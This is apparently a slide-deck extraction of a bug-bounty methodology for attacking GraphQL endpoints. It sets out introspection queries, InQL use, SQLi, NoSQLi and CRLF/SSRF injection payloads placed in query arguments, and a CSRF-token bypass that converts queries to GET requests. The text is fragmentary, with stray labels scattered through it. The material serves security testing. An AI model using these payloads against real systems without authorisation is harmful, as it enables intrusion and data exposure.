GraphQL
GraphQL
Mahmoud M. Awali
@0xAwali
Note
Steps to produce :-
1 - Download InQL
2 - Load inql.py As Python Extension Inside Burp Suite
3 - Switch To InQL Scan Tab
4 - Enter Your Target e.g. https://www.company.com/graphql
My Methodology
attacker
Try To Find The Introspection Query , To Get All Objects To Help You To Expose
Sensitive Information
● Writeup
● Writeup GET /graphql?query={__schema{types{name,fields{name}}}} HTTP/1.1
Host: company.com
● Writeup User-Agent: Mozilla/5.0
Referer: https://previous.com/path
● Tweet Origin: https://www.company.com
My Methodology
attacker
● Tweet
Steps to produce :-
attacker
If You Found The Introspection Query , Try To Use Tools e.g. gql-generator To
Make A List Of Pasteable Query Strings
attacker
query {
user(name: "me ") {
edges {
node {
phone
}
}
}
}
My Methodology
attacker
attacker
Try To Inject Single Quote ' OR * In All The Arguments To Detect SQLi
attacker
Try To Inject Boolean-Based SQLi Payloads e.g. OR 1=1' In All The Arguments
To Get SQLi
query {
user(name: "me OR 1=1'") {
edges {
node {
phone
}
}
}
}
My Methodology
attacker
attacker
Try To Inject NoSQLi Payloads e.g. $gte In All The Arguments To Get NoSQLi
query {
user(name: "{\"me\":{\"$gte\":\"\"}}") {
edges {
node {
phone
}
}
}
}
My Methodology
attacker
attacker
Try To Inject Carriage Return Line Feed e.g. %0A%01%09 With Injecting Headers
e.g. Host , X-Forwarded-Host etc In All The Arguments To Get SSRF OR CRLF
query {
user(name: "me%0A%01%09Host:%20me.com") {
edges {
node {
phone
}
}
}
}
My Methodology
attacker
attacker
query {
user(name: "me") {
edges {
node {
phone
}
}
}
}
My Methodology
attacker
If There Is CSRF-Token , Try To Remove It And Use Body Queries As GET Queries
To Bypass Validation On CSRF Token
● Tweet
● Tweet GET /graphql?query={user(name: "me"){node{phone}}} HTTP/1.1
Host: company.com
● Blog User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
My Methodology
attacker
attacker
Try To Figure Out All The Paths To Reach A Specific Object By Using
Tools e.g. graphql-path-enum